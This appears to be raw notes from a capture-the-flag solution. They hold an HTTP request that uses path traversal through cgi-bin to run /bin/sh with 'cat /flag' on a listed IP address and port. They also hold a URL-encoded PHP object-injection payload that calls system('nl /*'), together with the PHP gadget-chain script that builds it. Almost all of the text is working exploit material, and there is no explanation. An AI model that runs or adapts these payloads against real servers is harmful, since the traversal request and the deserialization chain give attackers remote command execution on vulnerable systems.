POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1

Host: 47.94.204.65:43035

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

echo;cat /flag

///demo.php?data=

O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A16%3A%22system%28%27nl+%2F%2A%27%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D

<?php

class Water{

public $waterfall; //p waterfall=new Circle();

public function __construct(){

$this->waterfall = array();

}

public function __get($value){

$function = $this->waterfall;

return $function();

}

}

class Circle{

public $daemon;

protected $dash=”system(‘nl /*’);”;

//public function __toString(){

// return $this->daemon;

//}

public function runc($value){

@eval($value);

}

public function __invoke(){

$this->runc($this->dash);

}

}

class Range{

public $horis=”system(‘nl /*’);”;

public $link;

//public function __construct($link=”link”){

// $this->link = $link;

// echo $link;

//}

public function __toString(){

return $this->link->horis;

}

}

class Sliver{

public $secret;

public $resty;

public function __destruct(){

if(preg_match(“/circle|gopher|http|file|ftp|https|dict|\.\./i”, $this->secret)) {

echo “no~no~no~”;

}

}

function __wakeup(){

if ($this->secret != ‘circle’) {

$this->secret = ‘circle’;

}

}

}

$a = new Sliver();

$b = new Range();

$c = new Water();

$d = new Circle();

$a->secret = $b;

$b->link = $c;

$c->waterfall = $d;

echo urlencode(serialize($a));

?>